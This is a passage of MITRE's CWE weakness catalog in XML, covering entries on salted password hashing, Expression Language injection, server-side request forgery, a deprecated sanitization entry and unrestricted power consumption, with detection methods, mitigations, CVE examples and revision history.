                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-51">
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.</xhtml:p>
                  <xhtml:p>Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.</xhtml:p>
                  <xhtml:p>Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-25">
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-1526</Reference>
               <Description>Router does not use a salt with a hash, making it easier to crack passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1526</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1058</Reference>
               <Description>Router does not use a salt with a hash, making it easier to crack passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1058</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4905</Reference>
               <Description>Blogging software uses a hard-coded salt when calculating a password hash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4905</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1657</Reference>
               <Description>Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1657</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0967</Reference>
               <Description>Server uses a constant salt when encrypting passwords, simplifying brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0967</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0408</Reference>
               <Description>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0408</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="55"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-291"/>
            <Reference External_Reference_ID="REF-292"/>
            <Reference External_Reference_ID="REF-293" Section="5.2 PBKDF2"/>
            <Reference External_Reference_ID="REF-294"/>
            <Reference External_Reference_ID="REF-295"/>
            <Reference External_Reference_ID="REF-296"/>
            <Reference External_Reference_ID="REF-297"/>
            <Reference External_Reference_ID="REF-298"/>
            <Reference External_Reference_ID="REF-636"/>
            <Reference External_Reference_ID="REF-631"/>
            <Reference External_Reference_ID="REF-632"/>
            <Reference External_Reference_ID="REF-908"/>
            <Reference External_Reference_ID="REF-909"/>
            <Reference External_Reference_ID="REF-633"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-01-28</Submission_Date>
               <Submission_Comment>Created with input from members of the secure password hashing community.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="917" Name="Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.</Description>
	 <Extended_Description>Frameworks such as Java Server Page (JSP) allow a developer to insert executable expressions within otherwise-static content. When the developer is not aware of the executable nature of these expressions and/or does not disable them, then if an attacker can inject expressions, this could lead to code execution or other unexpected behaviors.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="PeerOf" CWE_ID="1336" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="74" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="77" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>EL Injection</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid adding user-controlled data into an expression interpreter when possible.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>If user-controlled data must be added to an expression interpreter, one or more of the following should be performed:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Validate that the user input will not evaluate as an expression</xhtml:li>
                        <xhtml:li>Encode the user input in a way that ensures it is not evaluated as an expression</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Phase>Operation</Phase>
               <Description>The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
			  <Observed_Example>
			    <Reference>CVE-2021-44228</Reference>
			    <Description>Product does not neutralize ${xyz} style expressions, allowing remote code execution. (log4shell vulnerability in log4j)</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2021-44228</Link>
			  </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-911"/>
            <Reference External_Reference_ID="REF-912"/>
            <Reference External_Reference_ID="REF-1279"/>
            <Reference External_Reference_ID="REF-1280"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified.</Note>
            <Note Type="Relationship">In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-02-15</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
               <Contribution_Name>Dan Amodio, Dave Wichers</Contribution_Name>
               <Contribution_Organization>Aspect Security</Contribution_Organization>
               <Contribution_Date>2013-02-15</Contribution_Date>
               <Contribution_Comment>Suggested adding this weakness and provided references.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="918" Name="Server-Side Request Forgery (SSRF)" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.</Description>
         <Extended_Description>By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="441" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Name="Web Server" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>XSPA</Term>
               <Description>Cross Site Port Attack</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-26855</Reference>
               <Description>Server Side Request Forgery (SSRF) in mail server, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-26855</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-21973</Reference>
               <Description>Server Side Request Forgery in cloud platform, as exploited in the wild per CISA KEV.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-21973</Link>
            </Observed_Example>
	    <Observed_Example>
	      <Reference>CVE-2016-4029</Reference>
	      <Description>Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918).</Description>
	      <Link>https://www.cve.org/CVERecord?id=CVE-2016-4029</Link>
	    </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1484</Reference>
               <Description>Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1484</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2061</Reference>
               <Description>CGI script accepts and retrieves incoming URLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2061</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-1637</Reference>
               <Description>Web-based mail program allows internal network scanning using a modified POP3 port number.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-1637</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0037</Reference>
               <Description>URL-downloading library automatically follows redirects to file:// and scp:// URLs</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0037</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="664"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-913"/>
            <Reference External_Reference_ID="REF-914"/>
            <Reference External_Reference_ID="REF-915"/>
            <Reference External_Reference_ID="REF-916"/>
            <Reference External_Reference_ID="REF-917"/>
            <Reference External_Reference_ID="REF-918"/>
            <Reference External_Reference_ID="REF-919"/>
            <Reference External_Reference_ID="REF-920"/>
         </References>
         <Notes>
            <Note Type="Relationship">CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-02-17</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="92" Name="DEPRECATED: Improper Sanitization of Custom Special Characters" Abstraction="Base" Structure="Simple" Status="Deprecated">
         <Description>This entry has been deprecated. It originally came from PLOVER, which sometimes defined "other" and "miscellaneous" categories in order to satisfy exhaustiveness requirements for taxonomies. Within the context of CWE, the use of a more abstract entry is preferred in mapping situations. CWE-75 is a more appropriate mapping.</Description>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Time_of_Introduction, Type, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes</Modification_Comment>
            </Modification>
            <Previous_Entry_Name Date="2008-10-14">Custom Special Character Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insufficient Sanitization of Custom Special Characters</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-07-27">Improper Sanitization of Custom Special Characters</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="920" Name="Improper Restriction of Power Consumption" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product operates in an environment in which power is a limited resource that cannot be automatically replenished, but the product does not properly restrict the amount of power that its operation consumes.</Description>
         <Extended_Description>
            <xhtml:p>In environments such as embedded or mobile devices, power can be a limited resource such as a battery, which cannot be automatically replenished by the product itself, and the device might not always be directly attached to a reliable power source. If the product uses too much power too quickly, then this could cause the device (and subsequently, the product) to stop functioning until power is restored, or increase the financial burden on the device owner because of increased power costs.</xhtml:p>
            <xhtml:p>Normal operation of an application will consume power. However, in some cases, an attacker could cause the application to consume more power than intended, using components such as:</xhtml:p>
               <xhtml:ul>
                  <xhtml:li>Display</xhtml:li>
                  <xhtml:li>CPU</xhtml:li>
                  <xhtml:li>Disk I/O</xhtml:li>
                  <xhtml:li>GPS</xhtml:li>
                  <xhtml:li>Sound</xhtml:li>
                  <xhtml:li>Microphone</xhtml:li>
                  <xhtml:li>USB interface</xhtml:li>
               </xhtml:ul>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="400" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (Other)</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>The power source could be drained, causing the application - and the entire device - to cease functioning.</Note>
            </Consequence>
         </Common_Consequences>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 3-3</Entry_ID>
	     <Entry_Name>Req SR 6.2</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-2</Entry_ID>
	     <Entry_Name>Req CR 6.2</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>Part 4-1</Entry_ID>
	     <Entry_Name>Req SD-4</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2013-06-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
